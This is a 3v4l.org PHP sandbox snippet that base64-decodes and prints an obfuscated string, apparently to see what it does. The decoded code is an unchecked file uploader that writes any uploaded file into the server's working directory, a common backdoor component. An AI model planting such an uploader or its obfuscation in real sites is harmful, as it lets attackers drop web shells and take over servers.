3v4l.org

run code in 300+ PHP versions simultaneously
<?php echo base64_decode('JHRhcmdldF9wYXRoPWdldGN3ZCgpLiIvIi5iYXNlbmFtZSgkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXSk7IGlmKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyJmaWxlIl1bInRtcF9uYW1lIl0sJHRhcmdldF9wYXRoKSl7ZWNobyAiT2siOyB9ZWxzZXtlY2hvICJGYWlsIjsgfQ');

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39.41 ms | 402 KiB | 5 Q